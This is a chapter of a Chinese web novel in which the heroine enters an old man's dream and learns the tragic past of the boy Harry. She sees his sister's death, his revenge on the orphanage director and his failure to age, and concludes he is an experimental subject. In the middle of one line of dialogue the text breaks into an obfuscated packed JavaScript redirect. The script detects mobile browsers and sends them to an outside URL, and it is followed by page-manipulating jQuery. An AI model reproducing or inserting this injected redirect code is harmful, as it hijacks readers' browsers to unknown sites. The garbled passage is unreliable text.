正要拧开门把手出去,外边走廊忽然传来了蛇四和福七的声音。 “你怎么办的事,让那死丫头活着回来。”蛇四不满地说。 “呵,”福七冷笑一声,抱着胳膊,“蛇四,你坑老子去给你报仇这事,老子还没有找你算账呢,你他妈倒是先兴师问罪起来了。” “我没有骗你,那丫头来历不明,我叮嘱过你先下手为强,是你自己贪图美色错失了时机。”蛇四冷着张脸反驳。 两人的脚步都很匆忙,福七不耐烦道:“行了,这事先放着,眼下要紧的是找到老大,陈良要的那批原料已经到了,但出了点问题,再晚就来不及了。” 说话声和脚步声渐行渐远…… 洛雪眠从老树懒房里出来,目光往两人离开的方向看了一眼,心里隐约觉得会有大事发生。 24. 梦境 翌日中午,洛雪眠提着饭菜去医院看望老树懒。 病房里,洛雪眠摘下遮掩的口罩,老树懒品尝着她带来的饭菜,夸赞她的厨艺进步神速。 洛雪眠瞥了眼时希起了大早熬的鸡汤,干笑两声,掩饰自己的心虚。 “哈里好像很喜欢喝鸡汤。”洛雪眠垂眸削着水果,佯装不经意地说道。 “唉,哈里也是个苦命的孩子。”提起哈里,老树懒像是想起了什么,无奈叹息道。 洛雪眠的动作顿了顿,她抬头看向老树懒,“您知道哈里的过去吗?” “我是看着他长大的,他以前是个很乖的孩子,不像现在这样。”老树懒只是摇头叹气,不愿多说。 洛雪眠抿唇,也没有再问,等老树懒吃完饭躺下休息后,她起身收拾桌面上的餐盒。 没多久,旁边响起老树懒打鼾的声音,洛雪眠走到窗边,把窗帘拉开,“阳光”倾洒而入,她抱着胳膊,倚在窗边,无聊地望向窗外。 大约十分钟后,门口传来三声规律平缓的敲门声,洛雪眠站在原地没动,淡淡说了句:“进来吧。” 魏白推门进来,他的身后站着一身名贵西装的司无枫。 洛雪眠挑眉,阴阳怪气笑道:“司监察长,别来无恙呀。” 司无枫微笑颔首,不以为意,“看来洛小姐对我本人的意见有点大呀。” 洛雪眠脸上的笑意淡了些,“你之前诓骗我的事暂且不提,我只想知道,你们到底想从暗网得到什么?” 司无枫在一旁的椅子上坐下,翘起一条长腿,双手交握搭在膝盖上,姿态闲适,眼里带着笑意。 “洛小姐,你不是早就猜到了吗?何必还要再问。” 洛雪眠面色微沉,她冷冷盯着司无枫,眸光不善。 半晌,她压下心底的戾气,缓缓吐出了一口气,开口道:“开始吧。” 洛雪眠今天来找老树懒的目的很简单,借用司无枫的异能窥探哈里的过去。 桌面上摆放了一个沙漏,司无枫的右手缓缓凝聚出一团白光,他的面容被光芒映照得模糊,嘱咐道: “寻梦术只能维持一个小时,进入别人的梦境风险本身就很高,洛小姐,你必须在沙漏流完之前回到现实,否则会很危险。” 一缕白光注入了洛雪眠的眉心,她的意识开始涣散,当最后一丝光线消失的时候,她坠入了老树懒的梦境之中。 ** 阴雨笼罩了整个城市,沉闷压抑,在城市最僻静的一隅,阳光福利院的孩子们被勒令不许出去玩耍,只能待在教室里活动。 简陋破败的厕所里,一群年纪稍大点的男孩子们把一个瘦骨嶙峋的小男孩推进了厕所隔间里。 在后厨做饭的老树懒从哭泣的其他小朋友那里得知消息后,连忙赶了过去。 那个时候老树懒的分化缺陷表现得还不是很明显,模样也要更年轻些,可行动还是受限,当他冲进厕所的时候,里面已经空无一人。 最后,老树懒在堆放打扫工具的角落里找到了哈里。哈里呆呆地窝在几袋打包好的垃圾袋里,他的衣服脏乱,流了鼻血,嘴角青肿,一双原本明亮清澈的眼睛空洞无神。 老树懒心疼地将瘦弱的哈里抱起来,在洗手池边给哈里清洗处理伤口。 “哈里,告诉你个好消息,你姐姐明天就要回来了。”老树懒帮哈里擦着脸,安慰道。 一直抿着嘴没有说话的哈里眼睛忽然亮了亮,死气沉沉的小脸闪过雀跃,期待地抬头,不可置信问:“真的吗?爷爷,姐姐真的要回来了吗?” 哈里有一个大几岁的姐姐,姐弟两个相依为命,原本都在阳光福利院生活,去年哈里的姐姐被一个有钱人家收养了,每隔一段时间便会回来看哈里。 哈里最期待的事情就是他的姐姐回来看他。 老树懒慈爱地摸了下哈里的头顶,“当然是真的了,你姐姐今早还给院长打电话呢。” 哈里顿时激动得忘了疼痛,他开心地跑回宿舍,从床头枕头下摸出一个珍藏的透明小罐子,里面放了五颜六色的纸星星。 哈里每次想姐姐了就会折一个纸星星放进去,现在罐子已经快装满了。 哈里抱着罐子窝在小床上,欣喜若狂,迫不及待想见到很久不见姐姐。上次姐姐来看他的时候告诉他,下次见面的时候会给他带礼物,还会带他一起离开福利院。 姐姐是来带我走的吗?我们终于可以生活在一起了吗? 抱着这样的想法,在福利院里受尽欺负的哈里傻傻的笑着,进入了梦乡。 他做了一个梦,梦里他和姐姐有了一个属于他们自己的家,很小但很温馨。 如果哈里知道接下来会发生的事情,他宁愿姐姐永远都不要管他,让他在福利院里自生自灭就好。 可现实却如此残酷,化作了一把鲜血淋漓的刀,残忍地将九岁男孩的梦想生生撕碎。 哈里没有等来姐姐,只等到了一具冰冷残缺的尸体。 倾盆大雨下,那个年轻的女孩,瞪着一双空洞的眼睛,血肉模糊静静躺在冰冷泥泞的雨水里,无声无息,临死的时候,怀里还紧紧抱着一个兔子警官玩偶。 哈里呆呆的,傻傻的站在大雨里,他的视线变得模糊,耳畔是嘈杂的人声,身旁有很多人经过,踩进泥地里溅起水花,但他好像听不到也看不见了,唯一的焦点只剩下了倒在血泊里的姐姐。 哈里就这样一动不动地站在姐姐的尸体旁边,整个世界轰然倒塌,陷入黑暗。 他想起了那个阳光和煦的午后,福利院里,姐姐穿着漂亮的长裙像只蹁跹的蝴蝶,拉着他的手笑着告诉他: “你乖乖在这里等我,等下次来我就带你走,带你一起回家,你要乖乖的,好吗?” 一起回家。 哈里的眼睛迸发出难以置信的喜悦,像是黑暗的世界里终于照进来了一束温暖的光,他用力点头,期待着姐姐的再次到来。 “真可怜,”有人叹息说,“这么小年纪,就被卖到那种地方,受这样的罪。” “听说是从阳光福利院里出去的,被黑心的养父母哄骗,在那里跳了好久的舞,攒钱逃出来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451448|139747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候被抓到了。” “怎么那么笨,拿着钱躲远点不好吗,偏要回来这里。” “也许有什么重要的东西要拿吧。” …… 周围人的议论声尖锐刺耳,哈里迟钝地抬头,他的眼睛血红一片,小小的身体剧烈颤抖,他望着这个冰冷无情的灰暗世界,目光穿越人群,死死锁定马路上一辆黑色的轿车,里面一个臃肿肥胖的男人嘴角挂着轻蔑的笑,缓缓合上了车窗。 哈里突然冲了出去,像一只垂死挣扎的幼兽,拼命追赶着远去的豪车。可车开得太快了,不管他怎么追,也只能眼睁睁看着渐行渐远消失的车尾。 哈里跌倒在泥地里,浑身湿透,他凄厉地嚎叫:“杀了你!我一定要杀了你!!……” 老树懒从后面追过来,慌忙捂住哈里的嘴,强硬地将失控的哈里带离了危险的案发地点。 从那天后,哈里的性格变得越来越孤僻,越来越沉默寡言,不管老树懒怎么劝慰,都没有用。 “孩子,没用的,我们斗不过那些人的,忘了吧,你姐姐一定也不希望看到你这样。” 哈里只是沉默,他的怀里紧紧抱着那罐满天星,盯着脏污的兔子警官玩偶发呆。 不久后,哈里失踪了。 阳光福利院送走了一批又一批孩子,院子里的枫叶红了一年又一年。 因为院长的经营不善,阳光福利院濒临闭园,老树懒是最后被遣散的。 那天,阴雨蒙蒙,天空雷声阵阵,老树懒佝偻着背,步履蹒跚地前往院长办公室。 空荡寂寥的走廊上,有雨丝飘进来,老树懒恍惚间回忆起了从前福利院孩子们嬉笑打闹,无忧无虑的身影。 但很快就被一声凄厉的惨叫唤回现实。 老树懒推开院长办公室的门,惊惧得瞪大了双眼。 只见院长躺在地上,眼睛翻白,死死掐着自己的脖子,满脸痛苦挣扎但就是不松手,紧接着,咔嚓一声,院子把自己活活掐死了! 老树懒简直不敢相信眼前的一幕,他颤抖着看向办公桌上悠闲晃荡着双腿的小男孩。 小男孩回头,看向身后的老树懒,他的容颜一如往昔,眼神纯真无邪,但嘴角的笑却残忍嗜血。 “他把姐姐卖了,我回来报仇了。” 哈里! 竟然是消失了整整十年的哈里!! 老树懒惊愕地望着眼前的小男孩,过了许久才找回自己的声音:“哈里,你,你怎么……” 你怎么一点也没有长大?! …… 洛雪眠被魏白强行唤醒,刺眼的白光晃得她眯起了眼,一旁的沙漏已经流尽。 司无枫盯着沉默无言的洛雪眠看了会儿,问道:“有什么收获?” 洛雪眠呼出一口气,看向司无枫,淡声道:“这次的任务有点棘手。” “哦?”司无枫眼中闪过兴味,指尖轻轻敲击桌面,“怎么说?” 洛雪眠望向窗外,目光没有焦距,陈述着既定的事实,一字字道: “哈里是实验体。”